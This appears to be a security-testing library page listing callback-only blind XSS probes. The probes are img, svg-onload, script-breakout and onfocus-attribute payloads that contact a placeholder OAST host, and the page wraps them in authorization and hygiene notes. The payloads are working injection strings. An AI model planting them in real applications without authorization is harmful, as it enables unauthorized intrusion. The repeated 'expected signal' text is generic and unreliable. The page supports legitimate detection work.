Payload class · xss

Blind XSS Callback Markers

Callback-only blind XSS probes that separate plain persistence, passive HTML rendering, and JavaScript execution. Replace every UNIQUE host with a fresh private-listener token. These samples never read cookies, storage, forms, page content, page URL, referrer, or credentials.

xssblindstoredoastcallback-only

Stable IDpayload:blind-xss-callbacksSource record date2026-08-20Human reviewNot recordedProvenanceSource-linked

Context first

Use as a detection primitive

Callback-only blind XSS probes that separate plain persistence, passive HTML rendering, and JavaScript execution. Replace every UNIQUE host with a fresh private-listener token. These samples never read cookies, storage, forms, page content, page URL, referrer, or credentials.

Do not copy blind

Identify the parser, sink, encoding, and expected non-vulnerable behavior before choosing a sample. Prefer non-destructive markers.

Private OAST contract

Use one readable case ID plus a random opaque suffix for every request, field, and variant. Keep one unsubmitted ambient-noise token. Put no secrets or target data in labels, paths, or queries. Redact at ingestion, never publish raw callback logs, and clean up controlled records after sufficient proof.

Samples

Recorded payloads

Detection sampleAuthorization required

Confirm the sink and encoding context before use.

BXSS017PLAINMARKER

Expected signal: Not verified for this generic template. Confirm the exact tool version and expected output in its official documentation before use.
Negative control: Define a known-safe or nonexistent target that should produce a meaningfully different result.
Effect and bounds: Unknown until flags and target are reviewed. Assume the command sends traffic or changes local state unless the tool documentation proves otherwise.

Detection sampleAuthorization required

Confirm the sink and encoding context before use.

<img referrerpolicy=no-referrer src=https://bxss017-render.UNIQUE.oast.example/pixel>

Expected signal: Not verified for this generic template. Confirm the exact tool version and expected output in its official documentation before use.
Negative control: Define a known-safe or nonexistent target that should produce a meaningfully different result.
Effect and bounds: Unknown until flags and target are reviewed. Assume the command sends traffic or changes local state unless the tool documentation proves otherwise.

Detection sampleAuthorization required

Confirm the sink and encoding context before use.

"><img referrerpolicy=no-referrer src=https://bxss017-attr-render.UNIQUE.oast.example/pixel>

Expected signal: Not verified for this generic template. Confirm the exact tool version and expected output in its official documentation before use.
Negative control: Define a known-safe or nonexistent target that should produce a meaningfully different result.
Effect and bounds: Unknown until flags and target are reviewed. Assume the command sends traffic or changes local state unless the tool documentation proves otherwise.

Detection sampleAuthorization required

Confirm the sink and encoding context before use.

<svg onload="i=new Image;i.referrerPolicy='no-referrer';i.src='https://bxss017-svg-exec.UNIQUE.oast.example/js'"></svg>

Expected signal: Not verified for this generic template. Confirm the exact tool version and expected output in its official documentation before use.
Negative control: Define a known-safe or nonexistent target that should produce a meaningfully different result.
Effect and bounds: Unknown until flags and target are reviewed. Assume the command sends traffic or changes local state unless the tool documentation proves otherwise.

Detection sampleAuthorization required

Confirm the sink and encoding context before use.

</script><script>i=new Image;i.referrerPolicy='no-referrer';i.src='https://bxss017-script-exec.UNIQUE.oast.example/js'</script>

Expected signal: Not verified for this generic template. Confirm the exact tool version and expected output in its official documentation before use.
Negative control: Define a known-safe or nonexistent target that should produce a meaningfully different result.
Effect and bounds: Unknown until flags and target are reviewed. Assume the command sends traffic or changes local state unless the tool documentation proves otherwise.

Detection sampleAuthorization required

Confirm the sink and encoding context before use.

" autofocus onfocus="i=new Image;i.referrerPolicy='no-referrer';i.src='https://bxss017-focus-exec.UNIQUE.oast.example/js'" x="

Expected signal: Not verified for this generic template. Confirm the exact tool version and expected output in its official documentation before use.
Negative control: Define a known-safe or nonexistent target that should produce a meaningfully different result.
Effect and bounds: Unknown until flags and target are reviewed. Assume the command sends traffic or changes local state unless the tool documentation proves otherwise.

Source

Attribution

Open the primary collection ↗

Version history: normalized permanent page created 2026-08-20.